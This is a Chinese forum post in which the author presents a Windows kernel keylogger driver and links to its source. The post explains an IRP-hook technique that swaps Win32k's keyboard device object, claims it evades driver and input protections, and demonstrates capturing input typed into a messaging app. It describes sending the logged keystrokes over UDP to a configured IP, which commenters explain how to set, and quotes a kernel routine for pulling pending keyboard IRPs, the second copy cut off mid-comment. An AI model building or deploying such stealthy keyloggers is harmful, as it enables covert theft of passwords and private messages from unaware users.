-
-
[原创]谁会不喜欢一个Windows内核键盘记录器呢（详解）
-
发表于: 2022-9-7 14:03
-
先上链接KARLANN
之前搞过一个基于intel-vt的IO端口的键盘记录器，不过只能支持PS/2键盘，而且有点杀鸡焉用牛刀的感觉。最近在《Windows内核安全与驱动开发》的启发下，实现了一个基于IRP Hook的键盘记录器，书中的方法估计早就被防的差不多了，所以使用了不同的方式Hook IRP，算是进阶版吧，更难被察觉。实测可以过控件保护以及驱动保护。
获取某即时通讯软件的键盘输入
简单来说，键盘的输入，是通过键盘驱动（比如kbdhid.sys）通过各种方式获取到键盘硬件的数据输入，然后键盘驱动调用初始化时保存的kbdclass.sys的回调函数KeyboardClassServiceCallback，将键盘数据发送到kbdclass.sys，最后由kbdclass.sys将数据填充到之前Pending的IRP，将IRP返回到Win32k（或者保存到缓冲区内，等待IRP的到来）。
但要怎么拦截这些IRP呢，书中可以将驱动挂载到kbdclass驱动设备上，作为设备过滤驱动拦截IRP，不过这种方法太明显了。所以我选择将Win32k驱动用于读键盘数据的hKeyboard->FileObject->DeviceObject替换为Poc驱动的DeviceObject，由Poc驱动充当中间层驱动，过滤Win32k和Kbdclass的IRP。
重点在于获取这个FileObject，这个FileObject由ZwReadFile填在Irp->IrpSp->FileObject中，并且Kbdclass会在没有键盘数据时将IRP保存在它的DeviceExtension->ReadQueue链表中，虽然Kbdclass的DeviceExtension结构体没有公开，但其中大部分结构的偏移自从Windows 8开始都是不变的，所以可以找到ReadQueue链表，使用KeyboardClassDequeueRead函数（如上），取出IRP，也就取出了FileObject。
另外为支持PNP，Poc驱动会在IoCancelIrp时将FileObject->DeviceObject还原，以便于之后设备卸载。
其他的功能包括，使用libwsk库，把它的C++库做了一些调整，实现了UDP传输键盘数据的功能，以及按键映射的功能，另外增加了对x86的支持。
建议在Windows 7 x86/x64 6.1（7601）SP1 - Windows 10 x86/x64 21H1（19043.1889）环境运行
代码放在github了
github链接
PIRPKeyboardClassDequeueRead( _In_ PCHAR DeviceExtension)/*++Routine Description: Dequeues the next available read irp regardless of FileObjectAssumptions: DeviceExtension->SpinLock is already held (so no further sync is required). --*/{ ASSERT(NULL != DeviceExtension); PIRP nextIrp = NULL; LIST_ENTRY* ReadQueue = (LIST_ENTRY*)(DeviceExtension + READ_QUEUE_OFFSET_DE); while (!nextIrp && !IsListEmpty(ReadQueue)) { PDRIVER_CANCEL oldCancelRoutine; PLIST_ENTRY listEntry = RemoveHeadList(ReadQueue); // // Get the next IRP off the queue and clear the cancel routine // nextIrp = CONTAINING_RECORD(listEntry, IRP, Tail.Overlay.ListEntry); oldCancelRoutine = IoSetCancelRoutine(nextIrp, NULL); // // IoCancelIrp() could have just been called on this IRP. // What we're interested in is not whether IoCancelIrp() was called // (ie, nextIrp->Cancel is set), but whether IoCancelIrp() called (or // is about to call) our cancel routine. To check that, check the result // of the test-and-set macro IoSetCancelRoutine. // if (oldCancelRoutine) { // // Cancel routine not called for this IRP. Return this IRP. // /*ASSERT(oldCancelRoutine == KeyboardClassCancel);*/ } else { // // This IRP was just cancelled and the cancel routine was (or will // be) called. The cancel routine will complete this IRP as soon as // we drop the spinlock. So don't do anything with the IRP. // // Also, the cancel routine will try to dequeue the IRP, so make the // IRP's listEntry point to itself. // //ASSERT(nextIrp->Cancel); InitializeListHead(&nextIrp->Tail.Overlay.ListEntry); nextIrp = NULL; } } return nextIrp;}PIRPKeyboardClassDequeueRead( _In_ PCHAR DeviceExtension)/*++Routine Description: Dequeues the next available read irp regardless of FileObjectAssumptions: DeviceExtension->SpinLock is already held (so no further sync is required). --*/{ ASSERT(NULL != DeviceExtension); PIRP nextIrp = NULL; LIST_ENTRY* ReadQueue = (LIST_ENTRY*)(DeviceExtension + READ_QUEUE_OFFSET_DE); while (!nextIrp && !IsListEmpty(ReadQueue)) { PDRIVER_CANCEL oldCancelRoutine; PLIST_ENTRY listEntry = RemoveHeadList(ReadQueue); // // Get the next IRP off the queue and clear the cancel routine // nextIrp = CONTAINING_RECORD(listEntry, IRP, Tail.Overlay.ListEntry); oldCancelRoutine = IoSetCancelRoutine(nextIrp, NULL); // // IoCancelIrp() could have just been called on this IRP. // What we're interested in is not whether IoCancelIrp() was called // (ie, nextIrp->Cancel is set), but whether IoCancelIrp() called (or // is about to call) our cancel routine. To check that, check the result[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
|
|
|
为啥我找不到这个
 修改global.h中的POC_IP_ADDRESS（SocketTest所在电脑的IP）和POC_UDP_PORT |
|
|
main/global.h 有把：
|
|
|
的确是，我跑去Releases下源码了 
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
